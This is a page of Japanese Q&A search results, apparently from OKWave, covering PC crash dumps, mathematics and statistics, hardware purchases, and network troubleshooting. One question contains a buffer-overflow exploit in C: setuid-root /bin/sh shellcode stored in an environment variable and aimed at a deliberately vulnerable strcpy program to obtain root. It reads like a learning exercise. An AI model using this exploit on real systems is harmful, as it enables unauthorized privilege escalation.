検索結果

e-x10

全2009件中421~440件表示
  • 全てのカテゴリ
  • 全ての質問
  • ブルースクリーンの原因について

    ゲーム中、動画再生中、WEB閲覧中にブルースクリーンが起きるようになったため、原因を調べているのですが解決方法がわからず困っています。 ntkrnlpa.exeとhall.Dll(電源のドライバ?)が原因のような感じがするのですが・・・ 各種ドライバをupdateし、PcDoctorなどのソフトでハードをチェックしましたが、正常とでました。 ↓色々試した結果です WinDbgでダンプファイルを開く Unable to load image \SystemRoot\system32\ntkrnlpa.exe, Win32 error 0n2 *** WARNING: Unable to verify timestamp for ntkrnlpa.exe *** ERROR: Module load completed but symbols could not be loaded for ntkrnlpa.exe FAULTING_MODULE: 81838000 nt DEBUG_FLR_IMAGE_TIMESTAMP: 0 BUGCHECK_STR: 0x124_GenuineIntel CUSTOMER_CRASH_COUNT: 2 DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT CURRENT_IRQL: 0 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 8192af38 8180b8b5 00000124 00000000 85a5c028 nt+0xcd163 8192af8c 818f89a8 85a5c028 84ac8008 84ac8008 hal+0x68b5 8192afb8 8180b7c9 84ac8008 00000000 8192aff4 nt+0xc09a8 8192afc8 8180bea7 00000003 84ac8008 00000000 hal+0x67c9 8192aff4 8180799f 8014a000 00000000 00000000 hal+0x6ea7 00000000 00000000 00000000 00000000 00000000 hal+0x299f start end module name 81838000 81bf1000 nt T (no symbols) Loaded symbol image file: ntkrnlpa.exe Image path: \SystemRoot\system32\ntkrnlpa.exe Image name: ntkrnlpa.exe Timestamp: Sat Jan 19 14:30:58 2008 (47918B12) CheckSum: 00372038 ImageSize: 003B9000 Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4 BlueScreenViewというソフトの結果 バグチェックコード0x00000124 パラメータ1 0x00000000 パラメータ2 0x875c6020 パラメータ3 0xb2000018 パラメータ4 0x02000e0f 原因のドライバ halhal.dll 原因のアドレス hal.dll+69dd などなどの情報が出てきます。 自分では対処法がわからない為、どなたかアドバイス頂けないでしょうか? 足りない情報がありましたら、教えて頂けると助かります。 OS:VISTASP2 メモリ:3G Core2DUO6850 電源:Antec650 NeoPower ビデオカード:G8800ultra サウンドカード:Creative X-Fi マザボ:P35 ウイルスソフト:avast 画像も貼っておくので、お助けください・・・

    • occjm
    • 回答数2
  • フーリエ係数の求め方を教えてください。

    本屋にいってもさらに抽象化して直交関数で展開している場合と、 1次元のことしか書いていない本しかなく、困っています。 以下のことについて教えてください。 (Q1) フーリエ級数の定義は以下の内容でいいですか? F(x,y,z) ={\sum}^{∞}_{m1=-∞,m2=-∞,m3=-∞}[A(m1,m2,m3)*exp(<G(m1,m2,m3)|(x1,x2,x3)>)] 要は、 [A(m1,m2,m3)*exp(i<G(m1,m2,m3)|(x1,x2,x3)>)] を全てのm1,m2,m3にわたって和した級数で、<|>はEuclid内積、*はスカラー積,iは虚数単位 但し、簡単のためFが3変数実数値(複素数値でもいい?)とし、A(m1,m2,m3)は、 それぞれ複素定数、その他G(波数)やT(周期)等の個々の記号詳細な定義は、 以下に記載の通り (Q2) A(m1,m2,m3)の計算法は、以下の内容でいいですか? A(m1,m2,m3)={\int}_{V}[F(x,y,z)*exp(i<G(m1,m2,m3)|(x1,x2,x3)>]dxdydz 但し、Vは、以下の定義式で定まる領域 V={s1*{T}_{1}+s2*{T}_{2}+s3*{T}_{3}|0≦s1≦1,0≦s2≦1,0≦s3≦1} であり、要は、 F(x,y,z)*exp(i<G(m1,m2,m3)|(x1,x2,x3)>)を V(ユニットセル)上で3重積分したもの。 (Q3) F(x,y,z)が二乗可積分で、{T}_{1}, {T}_{2},{T}_{3}がFの周期であるとき、 Fは、フーリエ級数展開可能ですか? 注)少なくとも、 K=(k1,k2,k3)と、L=({l}_{1},{l}_{2},{l}_[3})が、 <K|L>=2zπ (zは実数)であるとき、 Lは exp i(K*X)の周期であるので、右辺が、周期T(m1,m2,m3)を持つことは 確認したつもりなので、この逆が成り立ちますか? (Q4) どうも周期には2つの種類があるような気がします。片方を 普通の周期、もう片方を半自明な周期とでも呼ぶことにします。即ち、   *半自明な周期:    TがFの周期であり、かつ、任意の”実数”λに対して、λTもFの周期である。       *普通の周期: TがFの周期であり、かつ任意の整数zに対してzTが周期であり、かつ、Tは半自明な周期でない。 上記は勝手に定義しただけですが(まともな言い方があったら教えてください)、 例えば、ベクトルa=(a1,a2,a3)に対し、 <a|K>=0 ⇒ aは、exp i(K*X)の半自明な周期 <a|K>\neq 0⇒ (\frac{2\pi a}{|a|} は、普通の周期 となります。 さて、例えば、{T}_{1}, {T}_{2},{T}_{3}のうち{T}_{3}のみが上の意味で半自明だと とします。このとき、 F(x,y,z) ={\sum}^{∞}_{m1=-∞,m2=-∞}[A(m1,m2)*exp(<G(m1,m2,m3)|(x1,x2,x3)>)] のように、縮減できませんか? 【記号の詳細な定義】 但し、関数 F(x1,x2,x3,...,xn) は、実数値関数又は複素数値関数で、実n変数関数とする。 また、 GとTはn次実正方行列で、(ベクトル積を使うのが面倒なので) G=(gij) T=(tij) は、 G*T=2πE (但し、Eは単位行列)で、 をみたすとする。(gij)等ダブルサフィックスと考える Tj=(t1j,t2j,t3j,...,tnj):行列Tの第j列ベクトル Gi=(gi1,gi2,gi3,...,gin):行列Gの第i行ベクトル また、但し、{m}_{1},...,{m}_{k}は、いずれも整数。 T({m}_{1},...,{m}_{k})=Σ{m}_{k}{T}_{k} G({m}_{1},...,{m}_{k})=Σ{m}_{k}{T}_{k}

  • TVとBDレコーダーを通販で購入、付属品?

    新規にアパートに一人住まいする子供の為に、19型テレビとレコーダーを通販で揃えようよ考えてます。 本体以外に買わなければいけないケーブル等を教えてください。 どちらも新品を購入します。 Amazonで調べたら、「よく一緒に購入されている商品 」として、下記が案内されてます。 http://www.amazon.co.jp/TOSHIBA-REGZA-19V%E5%9E%8B%E5%9C%B0%E4%B8%8A%E3%83%BBBS%E3%83%BB110%E5%BA%A6CS%E3%83%87%E3%82%B8%E3%82%BF%E3%83%AB%E3%83%8F%E3%82%A4%E3%83%93%E3%82%B8%E3%83%A7%E3%83%B3%E6%B6%B2%E6%99%B6%E3%83%86%E3%83%AC%E3%83%93-19B3%E3%83%96%E3%83%A9%E3%83%83%E3%82%AF-19B3/dp/B005VALBG6/ref=wl_it_dp_o_pd_T1?ie=UTF8&coliid=ITYPYCRA9X1H1&colid=1C3YJ53U7DI2B テレビの場合・・HORIC アンテナ分波器 50cmケーブル2本付き(BS/CS・地デジ対応セパレーター) HAT-SP874 *これはBS・CSを見ないならば必要ないのでしょうか? http://www.amazon.co.jp/TOSHIBA-REGZA-%E5%9C%B0%E4%B8%8A%E3%83%BBBS%E3%83%BB110%E5%BA%A6CS%E3%83%87%E3%82%B8%E3%82%BF%E3%83%AB%E3%83%81%E3%83%A5%E3%83%BC%E3%83%8A%E3%83%BC%E6%90%AD%E8%BC%89%E3%83%8F%E3%82%A4%E3%83%93%E3%82%B8%E3%83%A7%E3%83%B3%E3%83%AC%E3%82%B3%E3%83%BC%E3%83%80%E3%83%BC-HDD320GB-RD-R100/dp/B0040EIQQ2/ref=sr_1_1?ie=UTF8&qid=1329300203&sr=8-1 BDレコーダーの場合・・PLANEX 4層シールド PET材皮膜 ハイスピードHDMI Ver1.4ケーブル 2m (PS3/Xbox360) PL-HDMI02-QD *これはどうなのでしょうか?ハイスピードとあるので起動を早くしたりするものでしょうか? 他に無ければならない物とか、あった方がいいもの、注意事項ありましたらお願いします!

  • playonline vewerが起動できません。

    polが起動しません アイコンをクリックするとplayonline vewerは動作を停止しましたとでます。 スペックは以下です。 ============================= システム ==================================== CPU = Unknown Genuine Intel(R) Processor with MMX CPU速度 = 1697 MHz CPUの数 = 4 OS = Microsoft Windows Vista Service Pack 1 Ver 6.01.7601 DirectXのバージョン = DirectX10.0 メインメモリー = 容量:4095MB : 空き領域:4095MB ドライブ [C:\] = ローカルディスク 空き領域:161.04 GB(容量:227.21 GB) プレイオンラインビューアーのインストール先 = C:\Program Files (x86)\PlayOnline\SquareEnix\PlayOnlineViewer\ ファイナルファンタジーXIのインストール先 = インストールされていません テトラマスターのインストール先 = C:\Program Files (x86)\PlayOnline\SquareEnix\TetraMaster\ フロントミッション オンラインのインストール先 = インストールされていません プレイオンライン・フレンドリストのインストール先 = インストールされていません グラフィックカード = NVIDIA GeForce GT 540M チップの種類 = UnKnown Video Chip ビデオドライバー = nvumdshim.dll バージョン = 8.17.12.6721 更新日時 = 2011年3月12日 2:24 ベンダーID = 0x10DE デバイスID = 0x0DF4 サブシステムID = 0x4C81028 改訂レベル = 161 VRAM = AvailableVidMem = 2014.6MB AvailableTextureMem = 4061.0MB サウンドカード = スピーカー (Realtek High Definition Audio) サウンドドライバー = {0.0.0.00000000}.{832ca733-dcaf-4a26-a248-733e56466f04} バージョン = 更新日時 = マザーボード = メーカー = バージョン = シリアルナンバー = よろしくお願いします。

  • 中心極限定理をエクセルで確かめる問題(まとめ方)

    1.まずX1+X2+…+X8の分布を畳み込みの方法により求めるマクロをVBAを用いて作る。 VBAに以下のものを入力する。 Function f(x As Double) If x >= 1 And x <= 6 Then f = 1 Else f = 0 End If End Function Function g(z As Double) Dim x As Double, k As Double k = 0 For x = 1 To z k = k + f(x) * f(z - x) Next x g = k End Function Function h(z As Double) Dim x As Double, k As Double k = 0 For x = 1 To z k = k + g(x) * g(z - x) Next x h = k End Function Function u(z As Double) Dim x As Double, k As Double k = 0 For x = 1 To z k = k + h(x) * h(z - x) Next x u = k End Function 2.エクセルワークシートで実行する。そのためにA1のセルにxを入力し、A2からA42のセルにX1+X2+…+X8の取る値としての8~48を入力する。 3.B1のセルにu(x)を入力し、B2からB42のセルに関数u(x)の値を求める。そのためにB2の説に=u(A2)を入力し、オートフィルの方法で求める。 4.(X1+X2+…+X8)/8 = Xのバー の取る値をx/8=zで表すことにする。そこでC1のセルにzを入力し、C2のセルに=A2/8を入力し、C2からC42のセルをオートフィルの方法で満たす。 5. 3.で求めたu(x)の値を6^8で割り、それをΔz=1/8で割った値、即ち8倍した値を密度関数g(z)とする。そこでD1のセルにg(z)を入力し、D2のセルに=B2/6 8*8を入力し、オートフィルの方法で求める。 6.平均値と分散が等しい正規分布N(3.5,35/(12*8))の密度関数と比較する。C2からC42にあるzの値に対応するN(3.5,35/(12*8))の密度関数の値をE2からE42のセルにエクセルのNORMDIST関数で用いて満たす。 という問題ですが、以下のようにエクセルで作成してみましたが、合っていますでしょうか。 また、最終的にどのようなところまで持って行き、どのようにまとめれば良いのでしょうか。 x u(x) z g(z) 確率密度 8 1 1 4.76299E-06 0.000125166 9 8 1.125 3.81039E-05 0.000288691 10 36 1.25 0.000171468 0.000637921 11 120 1.375 0.000571559 0.001350479 12 330 1.5 0.001571788 0.002739026 13 792 1.625 0.003772291 0.005322208 14 1708 1.75 0.008135193 0.009907745 15 3368 1.875 0.016041762 0.017670353 16 6147 2 0.029278121 0.030192771 17 10480 2.125 0.049916171 0.049425163 18 16808 2.25 0.080056394 0.077514085 19 25488 2.375 0.121399177 0.116466366 20 36688 2.5 0.174744704 0.167651637 21 50288 2.625 0.239521414 0.231207786 22 65808 2.75 0.313443073 0.3054812 23 82384 2.875 0.392394452 0.386681952 24 98813 3 0.470645671 0.468932891 25 113688 3.125 0.541495199 0.54482229 26 125588 3.25 0.598174821 0.606438017 27 133288 3.375 0.63484987 0.646703706 28 135954 3.5 0.647548011 0.660711187 29 133288 3.625 0.63484987 0.646703706 30 125588 3.75 0.598174821 0.606438017 31 113688 3.875 0.541495199 0.54482229 32 98813 4 0.470645671 0.468932891 33 82384 4.125 0.392394452 0.386681952 34 65808 4.25 0.313443073 0.3054812 35 50288 4.375 0.239521414 0.231207786 36 36688 4.5 0.174744704 0.167651637 37 25488 4.625 0.121399177 0.116466366 38 16808 4.75 0.080056394 0.077514085 39 10480 4.875 0.049916171 0.049425163 40 6147 5 0.029278121 0.030192771 41 3368 5.125 0.016041762 0.017670353 42 1708 5.25 0.008135193 0.009907745 43 792 5.375 0.003772291 0.005322208 44 330 5.5 0.001571788 0.002739026 45 120 5.625 0.000571559 0.001350479 46 36 5.75 0.000171468 0.000637921 47 8 5.875 3.81039E-05 0.000288691 48 1 6 4.76299E-06 0.000125166

  • この原因はメモリ、マザーボードどちらでしょうか2

    行数が書けなかったので http://okwave.jp/qa/q8654241.html の続きです。 2.ダンプ 062614-42494-01.dmp2014/06/26 4:50:04MEMORY_MANAGEMENT0x0000001a00000000`0004128400000000`0008c00100000000`00000000fffff700`01080000ntoskrnl.exentoskrnl.exe+75bc0NT Kernel & SystemMicrosoft® Windows® Operating SystemMicrosoft Corporation6.1.7601.18247 (win7sp1_gdr.130828-1532)x64ntoskrnl.exe+75bc0C:\windows\Minidump\062614-42494-01.dmp4157601266,2882014/06/26 4:52:28 ntoskrnl.exentoskrnl.exe+cc727fffff800`03610000fffff800`03bf50000x005e50000x521ea0352013/08/29 10:13:25Microsoft® Windows® Operating SystemNT Kernel & System6.1.7601.18247 (win7sp1_gdr.130828-1532)Microsoft CorporationC:\windows\system32\ntoskrnl.exe 3.2回目に落ちた後のイベントビューアー(書けないので途中まで) Crash Dump Analysis -------------------------------------------------------------------------------- Crash dump directory: C:\windows\Minidump Crash dumps are enabled on your computer. On Wed 2014/06/25 19:50:04 GMT your computer crashed crash dump file: C:\windows\Minidump\062614-42494-01.dmp This was probably caused by the following module: ntoskrnl.exe (nt+0x75BC0) Bugcheck code: 0x1A (0x41284, 0x8C001, 0x0, 0xFFFFF70001080000) Error: MEMORY_MANAGEMENT file path: C:\windows\system32\ntoskrnl.exe product: MicrosoftR WindowsR Operating System company: Microsoft Corporation description: NT Kernel & System Bug check description: This indicates that a severe memory management error occurred. This might be a case of memory corruption. More often memory corruption happens because of software errors in buggy drivers, not because of faulty RAM modules. The crash took place in the Windows kernel. Possibly this problem is caused by another driver that cannot be identified at this time. On Wed 2014/06/25 19:50:04 GMT your computer crashed crash dump file: C:\windows\memory.dmp This was probably caused by the following module: ntkrnlmp.exe (nt!KeBugCheckEx+0x0) Bugcheck code: 0x1A (0x41284, 0x8C001, 0x0, 0xFFFFF70001080000) Error: MEMORY_MANAGEMENT Bug check description: This indicates that a severe memory management error occurred. This might be a case of memory corruption. More often memory corruption happens because of software errors in buggy drivers, not because of faulty RAM modules. The crash took place in the Windows kernel. Possibly this problem is caused by another driver that cannot be identified at this time. 3.3回目のイベントビューアー イベントビューワーです。 ログの名前: System ソース: EventLog 日付: 2014/06/26 6:16:09 イベント ID: 6008 タスクのカテゴリ: なし レベル: エラー キーワード: クラシック ユーザー: N/A コンピューター: yakkun_a-PC 説明: 以前のシステム シャットダウン ( ‎2014/‎06/‎26 6:14:45) は予期されていませんでした。 イベント XML: <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="EventLog" /> <EventID Qualifiers="32768">6008</EventID> <Level>2</Level> <Task>0</Task> <Keywords>0x80000000000000</Keywords> <TimeCreated SystemTime="2014-06-25T21:16:09.000000000Z" /> <EventRecordID>6404</EventRecordID> <Channel>System</Channel> <Computer>yakkun_a-PC</Computer> <Security /> </System> <EventData> <Data>6:14:45</Data> <Data>‎2014/‎06/‎26</Data> <Data> </Data> <Data> </Data> <Data>1207</Data> <Data> </Data> <Data> </Data> <Binary>DE07060004001A0006000E002D00CD03DE0706000300190015000E002D00CD03600900003C000000010000006009000000000000B00400000100000000000000</Binary> </EventData> </Event> ログの名前: System ソース: Microsoft-Windows-Kernel-Power 日付: 2014/06/26 6:15:39 イベント ID: 41 タスクのカテゴリ: (63) レベル: 重大 キーワード: (2) ユーザー: SYSTEM コンピューター: yakkun_a-PC 説明: システムは正常にシャットダウンする前に再起動しました。このエラーは、システムの応答の停止、クラッシュ、または予期しない電源の遮断により発生する可能性があります。 イベント XML: <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="Microsoft-Windows-Kernel-Power" Guid="{331C3B3A-2005-44C2-AC5E-77220C37D6B4}" /> <EventID>41</EventID> <Version>2</Version> <Level>1</Level> <Task>63</Task> 行数の問題で途中までしか書けません。すみません。

  • VRAMを16Mから32Mに変更

    ゲームをするためにVRAMを16Mから32Mに変えたいのですが、 色々調べたのですがその方法が自分のPCで実行できませんでした。 どうしたら32Mに変更できるのでしょうか? どなたがご教授ください。 ------------------ System Information ------------------ Time of this report: 8/4/2009, 21:32:50 Machine name: YOUR-WYC16IH0K3 Operating System: Windows XP Home Edition (5.1, Build 2600) (2600.xpclient.010817-1148) Language: Japanese (Regional Setting: Japanese) System Manufacturer: Sony Corporation System Model: PCG-GR5E_BP(J) BIOS: PhoenixBIOS 4.0 Release 6.0. Processor: Intel(R) Pentium(R) III Mobile CPU 933MHz, ~930MHz Memory: 382MB RAM Page File: 394MB used, 527MB available Windows Dir: C:\WINDOWS DirectX Version: DirectX 9.0c (4.09.0000.0904) DX Setup Parameters: Not found DxDiag Version: 5.03.0001.0904 32bit Unicode --------------- Display Devices --------------- Card name: Mobility Radeon Manufacturer: ATI Technologies Inc. Chip type: M6 (LY) DAC type: Internal DAC (350Mhz) Device Key: Enum\PCI\VEN_1002&DEV_4C59&SUBSYS_80E7104D&REV_00 Display Memory: 16.0 MB Current Mode: 1024 x 768 (32 bit) (60Hz) Monitor: ( Monitor Max Res: Driver Name: ati2dvag.dll Driver Version: 6.13.3275.0000 (English) DDI Version: 8 Driver Attributes: Final Retail Driver Date/Size: 9/13/2001 00:04:06, 223904 bytes WHQL Logo'd: n/a WHQL Date Stamp: n/a VDD: Mini VDD: ati2mtag.sys Mini VDD Date: 9/13/2001 00:03:02, 337344 bytes Device Identifier: {D7B71EE2-0F19-11CF-FD73-2CACA2C2CB35} Vendor ID: 0x1002 Device ID: 0x4C59 SubSys ID: 0x80E7104D Revision ID: 0x0000 Revision ID: 0x0000 Video Accel: ModeMPEG2_C ModeMPEG2_D Deinterlace Caps: n/a Registry: OK DDraw Status: Enabled D3D Status: Enabled AGP Status: Enabled DDraw Test Result: Not run D3D7 Test Result: Not run D3D8 Test Result: Not run D3D9 Test Result: Not run

  • Professional x64 Editionを導入しようと検討中ですが・・・

    Professional x64 Editionを導入しようと思うのですが、導入にあたり良い所と悪い所を下記のスペックでお答え頂きたいです。 PCの使用要項はDVDや画像編集、X800相当のグラボを購入してゲームも行う予定です。 マザーボードのみ近くGA-8I955xPROに交換予定です。 CPUに関しては640も所有。 OS Microsoft Windows XP Home Edition SP 2 DirectX 4.09.00.0904 (DirectX 9.0c) セキュリティー ヤフーのノートン2005オンライン CPUタイプ DualCore Intel Pentium D 830, 3000 MHz (15 x 200) マザーボード名 Gigabyte GA-8I945G Pro (3 PCI, 2 PCI-E x1, 1 PCI-E x16, 4 DDR2 DIMM, Audio, Video, Gigabit LAN, IEEE-1394) マザーボードチップセット Intel Lakeport-G i945G ビデオカード SAPPHIRE RADEON X300SE - (256 MB) メモリコントローラ: タイプ Dual Channel (128 bit) アクティブモード Dual Channel (128 bit) メモリタイミング: CAS Latency (CL) 4T RAS To CAS Delay (tRCD) 4T RAS Precharge (tRP) 4T RAS Active Time (tRAS) 12T メモリスロット: DRAMスロット #1 1024 MB (DDR2-533 DDR2 SDRAM) DRAMスロット #2 512 MB (DDR2-533 DDR2 SDRAM) DRAMスロット #3 1024 MB (DDR2-533 DDR2 SDRAM) DRAMスロット #4 512 MB (DDR2-533 DDR2 SDRAM) 物理メモリ: 総容量 3071 MB HDD  Maxtor 6L200M0 (200 GB, 7200 RPM, SATA) x2  RAID-1 総容量 183.9 GB (85.1 GB 空き)

    • D830
    • 回答数2
  • バッファオーバーラン 環境変数参照

    今回私がやってみたいことは脆弱なプログラムにバッファオーバーランを起こさせそれを利用して環境変数に格納してあるshellcodeを実行させrootをゲットするということです。 コードは以下の通りです #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> char shellcode[]= "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" "\x68"; int main(int argc , char *argv[]) { char *env[2]={shellcode,NULL}; int i; long ret,*addr_ptr; char *buffer,*ptr; buffer = malloc(40); ret = 0xbffffffa - strlen(shellcode) - strlen("./vuln2"); ptr = buffer; addr_ptr = (long *)ptr; for(i=0;i<40;i+=4) *(addr_ptr++) = ret; buffer[40-1]=0; execle("./vuln2","vuln2",buffer,0,env); free(buffer); return 0; } vuln2.cのソースです #include <string.h> int main(int argc,char *argv[]) { char buffer[5]; strcpy(buffer,argv[1]); return 0; } 実行結果です ./env Segmentation fault (コアダンプ) なぜかコアダンプしてしまいますしっかりvuln2の戻りアドレスを偽の戻りアドレス(環境変数)で上書きしているはずなのですが。 どなたかわかる方いましたら回答お願いします

    • noname#204808
    • 回答数1
  • 量子力学の問題(時間依存の方程式)

    量子力学で以下のような問題を解きたいです。 「1次元空間内で質量mの粒子がポテンシャルV=0で自由に運動している。 時刻t1で粒子の位置はx1であった。時刻t2(>t1)で粒子の波動関数を求め、粒子がt2でx2に存在する確率を計算せよ。」 自分で考えてはみたのですが正しいのか全く見当違いなのかもわかりません。 自分の考え方が正しいかどうか、また間違ってるのであればどのように考えて解けばいいのか教えてください。 ↓自分の考え↓ まず自由粒子についての時間依存なしのシュレディンガー方程式を立てて、 波動関数ψ=Ae^(ikx)+Be^(-ikx)を求める。 その波動関数に時間に依存する項e^(-iEt/h)をあとでつける。 そして、得られた解にx=x1,t=t1を代入して波動関数の確率分布を求める。 確率分布は実際に観測されているので|ψ|^2=1となる。 ここから A^2+B^2+2ABcos(2kx1)=1 が求められる。 次にt=t2,x=x2についても同様に、|ψ|^2を求めると、 |ψ|^2=A^2+B^2+2ABcos(2kx2)となり、 t=ta,x=x1のときの結果を利用して、 |ψ|^2=1-2AB{cos(2kx2)-cos(2kx1)} となり、定数A,Bが残ったままですが一応確率分布の式を求めました。 この考え方、解き方でいいのでしょうか? 教えてください。

    • ph_bako
    • 回答数5
  • 外部に接続できません

    宜しくお願いします。 社内で市販ルータのDHCP接続での有線LAN環境でNW接続しています。 その中のPC1台だけ突然、外部(yahooなど)に接続出来なくなりました。 デフォルトGWにはpingで疎通確認出来ます。 社内LANの他PCに対して、疎通確認は出来ています。 ネットワークプロパティから修復など行いましたが、全く本事象は解消されません。 PROXYなども行っていません。 IEのブラウザのネットワーク診断ツールを行いました。 以下がその情報です。 ------------------------------------ DNS - ホーム ユーザーのシナリオではありません info Web プロキシを使用: いいえ info (www.microsoft.com) について名前解決: いいえ DNS サーバーがありません DNS エラー info クエリ [www.microsoft.com] (DNS Server 192.168.0.1)、(種類 = 0x1、オプション = 0x10e8) で 0x2726 が返されました action 自動修復: IP アドレスを更新する action 現在の IP アドレスを解放しています... action 現在の IP アドレスを解放しました action IP アドレスを更新しています... action 現在の IP アドレスを更新しました info クエリ [www.microsoft.com] (DNS Server 192.168.0.1)、(種類 = 0x1、オプション = 0x10e8) で 0x2726 が返されました info ユーザーをサポート コールにリダイレクトしています ゲートウェイの診断 ゲートウェイ info IE で次のプロキシ構成が使用されています: 自動検出の設定:有効自動構成スクリプト: プロキシ サーバー: プロキシ バイパスの一覧: info 自動プロキシ構成の機構からプロキシ設定を取得できませんでした。 info このコンピュータには次の既定のゲートウェイ エントリがあります: 192.168.0.1 info このコンピュータの IP アドレス: 192.168.0.37 info 既定のゲートウェイは、このコンピュータと同じサブネットにあります info 既定ゲートウェイ エントリは有効なユニキャスト アドレスです info 既定のゲートウェイ アドレスは、ARP で 1 回の試行後解決されました info ICMP Ping で 1 回試行後、既定ゲートウェイに到達しました warn ホスト名 www.microsoft.com を解決できませんでした (エラー コード 0x2afc)。ゲートウェイか DNS の問題である可能性があります。 action 自動修復: ネットワーク接続をリセットする action 自動修復: IP アドレスを更新する action 手動修復: モデムを再起動する IP レイヤの診断 壊れている IP ルーティング テーブル info 既定のルート は有効です。 info ループバック ルート は有効です。 info ローカル ホスト ルート は有効です。 info ローカル サブネット ルート は有効です。 無効な ARP キャッシュ エントリ action ARP キャッシュはフラッシュされました。 IP 構成の診断 無効な IP アドレス info 有効な IP アドレスが検出されました: 192.168.0.37 WinSock の診断 WinSock の状態 info すべての基礎サービス プロバイダが Winsock カタログに存在します。 info Winsock サービス プロバイダのチェーンは有効です。 info プロバイダ エントリ MSAFD Tcpip [TCP/IP] はループバック通信テストに合格しました。 info プロバイダ エントリ MSAFD Tcpip [UDP/IP] はループバック通信テストに合格しました。 info プロバイダ エントリ RSVP UDP Service Provider はループバック通信テストに合格しました。 info プロバイダ エントリ RSVP TCP Service Provider はループバック通信テストに合格しました。 info すべての Winsock サービス プロバイダについて接続は有効です。 ネットワーク アダプタの診断 ネットワークの場所の検出 info ネットワーク接続の状態: 接続済み warn HTTPS: エラー 12007 (www.microsoft.com に接続中): サーバー名またはアドレスは解決されませんでした warn FTP (パッシブ): エラー 12007 (ftp.microsoft.com に接続中): サーバー名またはアドレスは解決されませんでした warn HTTP: エラー 12007 (www.microsoft.com に接続中): サーバー名またはアドレスは解決されませんでした warn HTTPS: エラー 12007 (www.passport.net に接続中): サーバー名またはアドレスは解決されませんでした warn FTP (アクティブ): エラー 12007 (ftp.microsoft.com に接続中): サーバー名またはアドレスは解決されませんでした ----------------------------------------------- 上記の様な結果ですが、DNSエラーというのがよくわかりません。 DHCP接続なので特にDNS設定などしておりません。 何か、解決に当たりアドバイス頂けますと幸いです。 お手数ですが、宜しくお願い致します。

    • silentk
    • 回答数3
  • 最尤推定量の問題がわかりません。

    次の問題がよくわかりません。どうやって解いたらよいのか途方に暮れています。 X1,X2.....,Xn は n個 のコインを投げて 表=1 裏=0 とするinddicator variableであるとする。 Y はXi /n の合計で、P(表)の最尤推定量(MLE)であり、確率変数であるとする。   (Y = (Σ1=<i=<n Xi)/n ) この平均をθとし、P(表)のわからない値であるとし、 MLEはバイアスがかかっていないとする。   (E[Y] = θであるなら、θの推定量Yはバイアスがかかっていない.   E[Y] = (Σ1=<i=<n E[Xi])/n = nθ/n = θ) この条件で、 a) 表、裏、表 とでたらY の値はどうなるか b) Yの分散は(nとθの関数として)何とあらわせるか? 次に上の条件のもとに、投げたコインの最初の結果以外は無視しするものとして、 たとえば表立った場合 Y’=1,そうでなければ Y’=0とした場合、 c) 表表裏とでた場合、Yはどうあらわせるか?表裏表は?裏表表は? d) この確率変数 Y’の平均と分散は(nとθの関数として)何とあらわせるか? e) θの推定量として、Y’はバイアスはかかっているか?   また、それは最尤推定量であるか?   Y,またはY’はベルヌーイの確率変数の確率を推定するのに適しているか?   なぜ? 大変困っています。よろしくお願いします。

  • モンスターハンターフロンティアについて質問です。

    モンスターハンターフロンティアについて質問です。 使っているパソコンはhpのwindows7です。 型番 AG868AV-ACRS CPU AMDSempronSI-42(2.1G) OS Windows 7 メモリ 1GB 標準HDD 160GB 標準光学ドライブ DVDスーパーマルチ グラフィックコントローラ ATI RadeonHD3200グラフィックス 最大解像度 1366×768 LANポート 10/100BASE-T対応内蔵 外部インタフェース 外部ディスプレイポート(アナログRGB ミニD-sub15ピン×1)、USB2.0ポート×4、ネットワークポート(RJ45)、HDMI 1.3ポート、マイク入力×1、ヘッドフォン・ラインアウト出力×1、6in1メディアスロット×1 ディスプレイ 画面サイズ:15.6インチワイドTFTカラー 外形寸法 (幅)372×(奥行き)250×(高さ)32mm 重量 2.40kg サイト内で動作を確認したところ、 [○] OS Windows 7 : Version 6.1 Build 7600 (32bit) [○] DirectX DirectX 10.0 installed [?] CPU [0x0F60]AMD Sempron(tm) M100 Number of Processors[x1] (Hewlett-Packard) Vendor[AuthenticAMD] [?] 計測周波数(目安) CPU CLOCK [1995MHz] [○] メモリ Memory(Free/Total) Physical[233MB/765MB] : Virtual[1869MB/2048MB] [◎] ハードディスク [Free/Total] C:[95.4GB/131.8GB] E:[1.9GB/2.0GB] [?] ビデオカード ATI Technologies Inc. ATI display adapter (0x9712) [380 MB] 8.14.0010.0678 HAL/HARDWARE VSC(256) MaxTexture[8192,8192] DISPLAY(1) 1366 x 768 (32 bit) (60Hz) [○] サウンドカード (ACC:基本) stwrt.sys 6.10.6229.0000 WDM [○] ネットワークカード WAN Miniport (IPv6) WAN Miniport (Network Monitor) Marvell Yukon 88E8072 PCI-E Gigabit Ethernet Controller-TM NDIS Sample LightWeight Filter-0000 Marvell Yukon 88E8072 PCI-E Gigabit Ethernet Controller-QoS Packet Scheduler-0000 WAN Miniport (IP) Marvell Yukon 88E8072 PCI-E Gigabit Ethernet Controller-WFP LightWeight Filter-0000 Marvell Yukon 88E8072 PCI-E Gigabit Ethernet Controller WAN Miniport (IPv6)-QoS Packet Scheduler-0000 WAN Miniport (IP)-QoS Packet Scheduler-0000 WAN Miniport (PPPOE) [◎] マウス マウス (ボタン5:ホイール1) [?] ゲームコントローラ Game Controller Not Found. [○] 日本語入力システム とでました。 クエストを始めると、5分くらいで落ちてしまい、 マイルームなどの通信をはさむと落ちたりします。 どうしたらゲームができるようになるのでしょうか? ちなみに、パソコンの買い替えは考えていません。 このパソコンでできる様にしたいです。 出来るだけ早めに教えて頂ければ幸いです。 宜しくお願いします。

    • saria00
    • 回答数3
  • 数値解析に関する質問です

